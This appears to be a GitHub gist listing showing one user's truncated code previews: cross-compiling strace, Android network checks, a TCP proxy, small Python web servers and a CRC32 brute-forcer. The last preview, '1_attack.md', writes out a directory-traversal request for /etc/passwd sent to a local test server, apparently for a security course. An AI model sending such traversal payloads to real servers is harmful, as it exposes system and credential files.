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Park Jung-hwan AhnMo

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@AhnMo
AhnMo / strace_cross_compile.log
Created April 18, 2019 15:43
# get strace-4.21.tar.xz from https://sourceforge.net/projects/strace/files/strace/4.21/
tar -xJf strace-4.21.tar.xz
cd strace-4.21
export STAGING_DIR=/home/user/source/staging_dir
export TOOLCHAIN_DIR=$STAGING_DIR/toolchain-mipsel_24kc_gcc-7.3.0_musl
export LDCFLAGS=$TOOLCHAIN_DIR/usr/lib
export LD_LIBRARY_PATH=$TOOLCHAIN_DIR/usr/lib
export PATH=$TOOLCHAIN_DIR/bin:$PATH
export CC=$TOOLCHAIN_DIR/bin/mipsel-openwrt-linux-gcc
export AS=$TOOLCHAIN_DIR/bin/mipsel-openwrt-linux-as
@AhnMo
AhnMo / checkNetworkType1.java
Last active March 20, 2020 10:37
Android Network State Check, `android.permission.ACCESS_NETWORK_STATE` permission required.
// This method was deprecated in API level 28
// https://developer.android.com/reference/android/net/NetworkInfo
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
final ConnectivityManager connMgr = (ConnectivityManager)this.getSystemService(Context.CONNECTIVITY_SERVICE);
final NetworkInfo wifi = connMgr.getNetworkInfo(ConnectivityManager.TYPE_WIFI);
final NetworkInfo mobile = connMgr.getNetworkInfo(ConnectivityManager.TYPE_MOBILE);
if (wifi.isConnectedOrConnecting()) {
output.setText("Network Type: WIFI");
@AhnMo
AhnMo / simple_tcp_proxy.py
Last active April 1, 2019 11:58
High level version tcp proxy
from socketserver import BaseRequestHandler, TCPServer
from socket import socket, AF_INET, SOCK_STREAM
from threading import Thread
BIND_HOST, BIND_PORT = "0.0.0.0", 22
HOST, PORT = "192.168.100.5", 22
def relay(fromSock, toSock):
while True:
try:
@AhnMo
AhnMo / pms_block.js
Created October 7, 2018 06:45 — forked from 123jimin/pms_block.js
A simple userscript for automatically closing KAIST PMS install page
// ==UserScript==
// @name KAIST PMS Blocker
// @namespace http://0xF.kr/
// @version 0.1
// @description Automatically closes PMS page
// @author JiminP
// @match http://143.248.113.1/CPopupRequest
// @grant none
// ==/UserScript==
@AhnMo
AhnMo / f_word_closures.js
Last active September 26, 2018 16:32
https://www.facebook.com/mailprogramming/posts/478336325984151
// inner closures
function create(i) {
return function () {
console.log(i);
};
}
for (var i = 0; i < 1; i++) {
setTimeout(create(i), 100);
}
@AhnMo
AhnMo / temp_webserver.py
Created August 28, 2018 06:10
import BaseHTTPServer, SimpleHTTPServer
PORT = 8080
class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(b'<h1 style="text-align: center">UNDER CONSTRUCTION</h1>')
@AhnMo
AhnMo / ParkSimpleHTTPServer.py
Last active June 14, 2018 10:41
#!/usr/bin/env python
import SimpleHTTPServer
import SocketServer
import logging
import sys
import os
PORT = 3000
BASE = '..'
@AhnMo
AhnMo / gist:3607e0b858e1e1b0fc6d9f6b7f679140
Last active June 11, 2018 14:05
https://developers.google.com/android/drivers#sailfishopr3.170623.013
https://manatails.net/blog/2018/06/building-userdebug-android-images-for-pixel/
https://source.android.com/setup/build/downloading
https://source.android.com/setup/build/building
https://source.android.com/setup/build/running
https://developers.google.com/android/images#sailfish
https://source.android.com/setup/start/build-numbers#source-code-tags-and-builds
@AhnMo
AhnMo / hash_bruteforce.py
Created June 10, 2018 14:37
#!/usr/bin/python
from binascii import crc32
sample_str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
target = 77236792
def check(x):
return crc32(x) == target
def crack(cur, size):
for i in sample_str:
@AhnMo
AhnMo / 1_attack.md
Last active June 8, 2018 07:52 
ahnmo@peterparker:~$ cat is511.py 
import socket

HOST = 'localhost'
PORT = 3000

payload = 'GET /../../../../../../../../etc/passwd HTTP/1.0\r\n\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)